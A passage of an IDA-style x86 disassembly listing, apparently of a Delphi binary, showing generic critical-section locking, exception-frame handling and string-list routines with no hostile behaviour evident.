		mov	[ebx+8], esi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200100E8	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2001015C	proc near		; CODE XREF: CODE:20012710p
					; CODE:20012721p
		push	ebx
		push	esi
		test	dl, dl
		jz	short loc_2001016A
		add	esp, 0FFFFFFF0h
		call	sub_2000373C


loc_2001016A:				; CODE XREF: sub_2001015C+4j
		mov	ebx, edx
		mov	esi, eax
		xor	edx, edx
		mov	eax, esi
		call	sub_200034C4
		lea	eax, [esi+8]
		push	eax		; lpCriticalSection
		call	InitializeCriticalSection_0
		mov	dl, 1
		mov	eax, off_2000F60C
		call	sub_200034C4
		mov	[esi+4], eax
		mov	byte ptr [esi+20h], 0
		mov	eax, esi
		test	bl, bl
		jz	short loc_200101A8
		call	sub_20003794
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_200101A8:				; CODE XREF: sub_2001015C+3Bj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_2001015C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200101B0	proc near		; DATA XREF: CODE:2000F6B8o

var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		call	sub_200037A4
		mov	[ebp+var_5], dl
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_2001022C
		xor	eax, eax
		push	ebp
		push	offset loc_20010212
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		call	sub_200034F4
		mov	dl, [ebp+var_5]
		and	dl, 0FCh
		mov	eax, [ebp+var_4]
		call	sub_200034E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20010219


loc_200101FD:				; CODE XREF: sub_200101B0+67j
		mov	eax, [ebp+var_4]
		call	sub_20010240
		mov	eax, [ebp+var_4]
		add	eax, 8
		push	eax		; lpCriticalSection
		call	DeleteCriticalSection_0
		retn
; ---------------------------------------------------------------------------


loc_20010212:				; DATA XREF: sub_200101B0+1Co
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_200101FD
; ---------------------------------------------------------------------------


loc_20010219:				; CODE XREF: sub_200101B0+61j
					; DATA XREF: sub_200101B0+48o
		cmp	[ebp+var_5], 0
		jle	short loc_20010227
		mov	eax, [ebp+var_4]
		call	sub_2000378C


loc_20010227:				; CODE XREF: sub_200101B0+6Dj
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_200101B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2001022C	proc near		; CODE XREF: sub_200101B0+14p
					; sub_20011C80+21p ...
		push	ebx
		mov	ebx, eax
		lea	eax, [ebx+8]
		push	eax		; lpCriticalSection
		call	EnterCriticalSection_0
		mov	eax, [ebx+4]
		pop	ebx
		retn
sub_2001022C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20010240	proc near		; CODE XREF: sub_200101B0+50p
					; sub_20011C80+95p ...
		add	eax, 8
		push	eax		; lpCriticalSection
		call	LeaveCriticalSection_0
		retn
sub_20010240	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2001024C	proc near		; CODE XREF: sub_2001041C+1Bp
					; DATA XREF: CODE:2000F710o
		push	ebx
		push	esi
		call	sub_200037A4
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_20011D2C
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_200034E4
		test	bl, bl
		jle	short loc_20010275
		mov	eax, esi
		call	sub_2000378C


loc_20010275:				; CODE XREF: sub_2001024C+20j
		pop	esi
		pop	ebx
		retn
sub_2001024C	endp


; =============== S U B	R O U T	I N E =======================================



sub_20010278	proc near		; CODE XREF: sub_2001054C+8Cp
					; DATA XREF: CODE:2000F71Co
		test	edx, edx
		jz	short loc_20010282
		xchg	eax, edx
		mov	ecx, [eax]
		call	dword ptr [ecx]
		retn
; ---------------------------------------------------------------------------


loc_20010282:				; CODE XREF: sub_20010278+2j
		xor	edx, edx
		call	sub_2001028C
		retn
sub_20010278	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2001028C	proc near		; CODE XREF: sub_20010278+Cp
					; CODE:2001035Dp

var_114		= dword	ptr -114h
var_110		= byte ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEECh
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_20010342
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	esi, esi
		jz	short loc_200102CF
		lea	edx, [ebp+var_104]
		mov	eax, [esi]
		call	sub_2000346C
		lea	edx, [ebp+var_104]
		lea	eax, [ebp+var_4]
		call	sub_2000420C
		jmp	short loc_200102DC
; ---------------------------------------------------------------------------


loc_200102CF:				; CODE XREF: sub_2001028C+24j
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_20010358
		call	sub_20004040


loc_200102DC:				; CODE XREF: sub_2001028C+41j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_114], eax
		mov	[ebp+var_110], 0Bh
		lea	edx, [ebp+var_104]
		mov	eax, [ebx]
		call	sub_2000346C
		lea	eax, [ebp+var_104]
		mov	[ebp+var_10C], eax
		mov	[ebp+var_108], 4
		lea	eax, [ebp+var_114]
		push	eax
		push	1
		mov	ecx, ds:off_2001449C
		mov	dl, 1
		mov	eax, off_20006954
		call	sub_2000A5DC
		call	sub_20003A08
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20010349


loc_20010339:				; CODE XREF: sub_2001028C+BBj
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20010342:				; DATA XREF: sub_2001028C+17o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20010339
; ---------------------------------------------------------------------------


loc_20010349:				; CODE XREF: sub_2001028C+B5j
					; DATA XREF: sub_2001028C+A8o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2001028C	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 3
dword_20010358	dd 6C696Eh		; DATA XREF: sub_2001028C+46o
; ---------------------------------------------------------------------------


loc_2001035C:				; DATA XREF: CODE:off_2000F714o
					; CODE:off_2000F7E8o ...
		xchg	eax, edx
		call	sub_2001028C
		retn
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20010368	proc near		; DATA XREF: CODE:2000F72Ao

var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEFCh
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		mov	edi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_200103FD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_104]
		mov	eax, [ebx]
		call	sub_2000346C
		lea	edx, [ebp+var_104]
		mov	eax, edi
		call	sub_2000420C
		mov	eax, ebx
		mov	si, 0FFFFh
		call	sub_200036D4
		test	eax, eax
		jz	short loc_200103E7
		mov	eax, ebx
		mov	si, 0FFFFh
		call	sub_200036D4
		lea	edx, [ebp+var_4]
		mov	si, 0FFFEh
		call	sub_200036D4
		cmp	[ebp+var_4], 0
		jz	short loc_200103E7
		push	[ebp+var_4]
		push	offset dword_20010414
		push	dword ptr [edi]
		mov	eax, edi
		mov	edx, 3
		call	sub_20004304


loc_200103E7:				; CODE XREF: sub_20010368+4Aj
					; sub_20010368+67j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20010404


loc_200103F4:				; CODE XREF: sub_20010368+9Aj
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_200103FD:				; DATA XREF: sub_20010368+18o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_200103F4
; ---------------------------------------------------------------------------


loc_20010404:				; CODE XREF: sub_20010368+94j
					; DATA XREF: sub_20010368+87o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_20010368	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_20010414	dd 2Eh			; DATA XREF: sub_20010368+6Co
; ---------------------------------------------------------------------------


loc_20010418:				; DATA XREF: CODE:2000F726o
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2001041C	proc near		; CODE XREF: sub_20011180+22p
					; DATA XREF: CODE:2000F7E4o
		push	ebx
		push	esi
		call	sub_200037A4
		mov	ebx, edx
		mov	esi, eax
		xor	edx, edx
		mov	eax, esi
		call	sub_20010F74
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_2001024C
		test	bl, bl
		jle	short loc_20010447
		mov	eax, esi
		call	sub_2000378C


loc_20010447:				; CODE XREF: sub_2001041C+22j
		pop	esi
		pop	ebx
		retn
sub_2001041C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2001044C	proc near		; DATA XREF: CODE:2000F820o
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, edx
		mov	esi, eax
		mov	eax, esi
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		mov	edi, eax
		mov	ecx, ebp
		mov	edx, edi
		mov	eax, esi
		mov	ebx, [eax]
		call	dword ptr [ebx+60h]
		mov	eax, edi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2001044C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20010470	proc near		; DATA XREF: CODE:2000F824o
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	ebx, eax
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+38h]
		mov	esi, eax
		mov	ecx, edi
		mov	edx, esi
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+24h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20010470	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20010494	proc near		; DATA XREF: CODE:2000F828o
					; CODE:2000F958o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_2001053B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_200105E4
		xor	eax, eax
		push	ebp
		push	offset loc_2001051E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_8]
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		mov	esi, eax
		dec	esi
		test	esi, esi
		jl	short loc_20010508
		inc	esi
		xor	ebx, ebx


loc_200104DE:				; CODE XREF: sub_20010494+72j
		lea	ecx, [ebp+var_C]
		mov	edx, ebx
		mov	eax, [ebp+var_8]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	eax, [ebp+var_C]
		push	eax
		mov	edx, ebx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	ecx, eax
		mov	eax, [ebp+var_4]
		pop	edx
		mov	edi, [eax]
		call	dword ptr [edi+3Ch]
		inc	ebx
		dec	esi
		jnz	short loc_200104DE


loc_20010508:				; CODE XREF: sub_20010494+45j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20010525


loc_20010515:				; CODE XREF: sub_20010494+8Fj
		mov	eax, [ebp+var_4]
		call	near ptr loc_2001069B+5
		retn
; ---------------------------------------------------------------------------


loc_2001051E:				; DATA XREF: sub_20010494+2Do
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20010515
; ---------------------------------------------------------------------------


loc_20010525:				; CODE XREF: sub_20010494+89j
					; DATA XREF: sub_20010494+7Co
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20010542


loc_20010532:				; CODE XREF: sub_20010494+ACj
		lea	eax, [ebp+var_C]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2001053B:				; DATA XREF: sub_20010494+17o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20010532
; ---------------------------------------------------------------------------


loc_20010542:				; CODE XREF: sub_20010494+A6j
					; DATA XREF: sub_20010494+99o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_20010494	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2001054C	proc near		; DATA XREF: CODE:2000F7F0o
					; CODE:2000F920o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	ebx, edx
		mov	[ebp+var_4], eax
		mov	eax, ebx
		mov	edx, off_2000F79C
		call	sub_20003680
		test	al, al
		jz	short loc_200105D3
		mov	eax, [ebp+var_4]
		call	sub_200105E4
		xor	eax, eax
		push	ebp
		push	offset loc_200105CC
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		call	dword ptr [edx+44h]
		mov	esi, ebx
		mov	al, [esi+4]
		mov	edx, [ebp+var_4]
		mov	[edx+4], al
		mov	al, [esi+7]
		mov	edx, [ebp+var_4]
		mov	[edx+7], al
		mov	al, [esi+6]
		mov	edx, [ebp+var_4]
		mov	[edx+6], al
		mov	al, [esi+5]
		mov	edx, [ebp+var_4]
		mov	[edx+5], al
		mov	edx, esi
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		call	dword ptr [ecx+40h]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_200105DD


loc_200105C3:				; CODE XREF: sub_2001054C+85j
		mov	eax, [ebp+var_4]
		call	near ptr loc_2001069B+5
		retn
; ---------------------------------------------------------------------------


loc_200105CC:				; DATA XREF: sub_2001054C+27o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_200105C3
; ---------------------------------------------------------------------------


loc_200105D3:				; CODE XREF: sub_2001054C+1Aj
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		call	sub_20010278


loc_200105DD:				; CODE XREF: sub_2001054C+7Fj
					; DATA XREF: sub_2001054C+72o
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_2001054C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200105E4	proc near		; CODE XREF: sub_20010494+25p
					; sub_2001054C+1Fp ...
		push	ebx
		mov	ebx, eax
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_200105F6
		mov	dl, 1
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+30h]


loc_200105F6:				; CODE XREF: sub_200105E4+7j
		inc	dword ptr [ebx+8]
		pop	ebx
		retn
sub_200105E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200105FC	proc near		; CODE XREF: sub_20010654+20p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		mov	esi, [eax+20h]
		test	esi, esi
		jz	short loc_2001063B
		mov	bl, 1
		mov	eax, [ebp+arg_0]
		mov	eax, esi
		mov	edx, off_2000F79C
		call	sub_20003680
		test	al, al
		jz	short loc_2001064B
		mov	eax, [ebp+arg_0]
		mov	edx, esi
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-8]
		call	sub_200106B4
		mov	ebx, eax
		xor	bl, 1
		jmp	short loc_2001064B
; ---------------------------------------------------------------------------


loc_2001063B:				; CODE XREF: sub_200105FC+10j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-8]
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		test	eax, eax
		setnle	bl


loc_2001064B:				; CODE XREF: sub_200105FC+26j
					; sub_200105FC+3Dj
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_200105FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20010654	proc near		; DATA XREF: CODE:2000F7ECo
					; CODE:2000F91Co

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		mov	[ebp+var_4], edx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		push	eax
		push	offset sub_20010E0C
		mov	eax, [ebp+var_8]
		push	eax
		push	offset sub_200110BC
		push	ebp
		call	sub_200105FC
		pop	ecx
		mov	ecx, eax
		mov	edx, offset sub_20010698
		mov	eax, [ebp+var_4]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_20010654	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 7

; =============== S U B	R O U T	I N E =======================================



sub_20010698	proc near		; DATA XREF: sub_20010654+28o
		push	ebx
		jz	short loc_2001070D


loc_2001069B:				; CODE XREF: sub_20010494+84p
					; sub_2001054C+7Ap ...
		imul	ebp, [esi+67h],	48FF0073h
sub_20010698	endp ; sp-analysis failed

		or	[ebx+75000878h], al
		pop	es
		xor	edx, edx
		mov	ecx, [eax]
		call	dword ptr [ecx+30h]
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200106B4	proc near		; CODE XREF: sub_200105FC+33p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_10], ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_20010749
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_9], 0
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		mov	ebx, eax
		mov	eax, [ebp+var_8]
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		cmp	ebx, eax
		jnz	short loc_2001072E
		mov	esi, ebx
		dec	esi
		test	esi, esi
		jl	short loc_2001072A
		inc	esi
		xor	ebx, ebx


loc_200106FD:				; CODE XREF: sub_200106B4+74j
		lea	ecx, [ebp+var_10]
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	eax, [ebp+var_10]


loc_2001070D:				; CODE XREF: sub_20010698+1j
		push	eax
		lea	ecx, [ebp+var_14]
		mov	edx, ebx
		mov	eax, [ebp+var_8]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	edx, [ebp+var_14]
		pop	eax
		call	sub_20004390
		jnz	short loc_2001072E
		inc	ebx
		dec	esi
		jnz	short loc_200106FD


loc_2001072A:				; CODE XREF: sub_200106B4+44j
		mov	[ebp+var_9], 1


loc_2001072E:				; CODE XREF: sub_200106B4+3Dj
					; sub_200106B4+70j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20010750


loc_2001073B:				; CODE XREF: sub_200106B4+9Aj
		lea	eax, [ebp+var_14]
		mov	edx, 2
		call	sub_20003FCC
		retn
; ---------------------------------------------------------------------------


loc_20010749:				; DATA XREF: sub_200106B4+1Ao
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2001073B
; ---------------------------------------------------------------------------


loc_20010750:				; CODE XREF: sub_200106B4+94j
					; DATA XREF: sub_200106B4+82o
		mov	al, [ebp+var_9]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_200106B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2001075C	proc near		; CODE XREF: sub_20010760+9p
		mov	eax, [ebp+4]
		retn
sub_2001075C	endp


; =============== S U B	R O U T	I N E =======================================



sub_20010760	proc near		; CODE XREF: sub_20010798+2Dp

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, ecx
		mov	ebx, edx
		call	sub_2001075C
		push	eax
		mov	[esp+14h+var_10], esi
		mov	[esp+14h+var_C], 0
		lea	eax, [esp+14h+var_10]
		push	eax
		push	0
		mov	ecx, ebx
		mov	dl, 1
		mov	eax, off_2000F5AC
		call	sub_2000A520
		jmp	sub_20003A08
sub_20010760	endp

; ---------------------------------------------------------------------------
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20010798	proc near		; CODE XREF: sub_200111E8+42p
					; sub_200112C4+19p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_200107E0
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, esi
		call	sub_20005994
		mov	edx, [ebp+var_4]
		mov	ecx, edi
		mov	eax, ebx
		call	sub_20010760
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_200107E7


loc_200107D7:				; CODE XREF: sub_20010798+4Dj
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_200107E0:				; DATA XREF: sub_20010798+11o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_200107D7
; ---------------------------------------------------------------------------


loc_200107E7:				; CODE XREF: sub_20010798+47j
					; DATA XREF: sub_20010798+3Ao
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_20010798	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200107F0	proc near		; DATA XREF: CODE:2000F834o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		mov	esi, ecx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_200108C8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_200105E4
		xor	eax, eax
		push	ebp
		push	offset loc_200108A6
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	ecx, [ebp+var_C]
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	[ebp+var_8], eax
		lea	ecx, [ebp+var_10]
		mov	edx, esi
		mov	eax, [ebp+var_4]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	ecx, [ebp+var_10]
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	edx, esi
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	ecx, eax
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		mov	ebx, [eax]
		call	dword ptr [ebx+24h]
		mov	ecx, [ebp+var_C]
		mov	edx, esi
		mov	eax, [ebp+var_4]
		mov	ebx, [eax]
		call	dword ptr [ebx+20h]
		mov	ecx, [ebp+var_8]
		mov	edx, esi
		mov	eax, [ebp+var_4]
		mov	ebx, [eax]
		call	dword ptr [ebx+24h]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_200108AD


loc_2001089D:				; CODE XREF: sub_200107F0+BBj
		mov	eax, [ebp+var_4]
		call	near ptr loc_2001069B+5
		retn
; ---------------------------------------------------------------------------


loc_200108A6:				; DATA XREF: sub_200107F0+31o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2001089D
; ---------------------------------------------------------------------------


loc_200108AD:				; CODE XREF: sub_200107F0+B5j
					; DATA XREF: sub_200107F0+A8o
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_200108CF


loc_200108BA:				; CODE XREF: sub_200107F0+DDj
		lea	eax, [ebp+var_10]
		mov	edx, 2
		call	sub_20003FCC
		retn
; ---------------------------------------------------------------------------


loc_200108C8:				; DATA XREF: sub_200107F0+1Bo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_200108BA
; ---------------------------------------------------------------------------


loc_200108CF:				; CODE XREF: sub_200107F0+D7j
					; DATA XREF: sub_200107F0+C5o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_200107F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200108D8	proc near		; DATA XREF: CODE:2000F7F8o
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		retn
sub_200108D8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_200108E0	proc near		; DATA XREF: CODE:2000F800o
		xor	eax, eax
		retn
sub_200108E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200108E4	proc near		; DATA XREF: CODE:2000F838o
					; CODE:2000F968o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_20010929
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+1Ch]
		mov	eax, [ebp+var_4]
		call	sub_20004444
		call	sub_200077F8
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20010930


loc_20010920:				; CODE XREF: sub_200108E4+4Aj
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20010929:				; DATA XREF: sub_200108E4+Bo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20010920
; ---------------------------------------------------------------------------


loc_20010930:				; CODE XREF: sub_200108E4+44j
					; DATA XREF: sub_200108E4+37o
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_200108E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20010938	proc near		; DATA XREF: CODE:2000F804o
					; CODE:2000F934o

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_20], ecx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_20010A43
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		mov	[ebp+var_10], eax
		xor	ebx, ebx
		lea	eax, [ebp+var_1C]
		mov	edx, offset dword_20010A5C
		call	sub_20004040
		mov	esi, [ebp+var_10]
		dec	esi
		test	esi, esi
		jl	short loc_200109B4
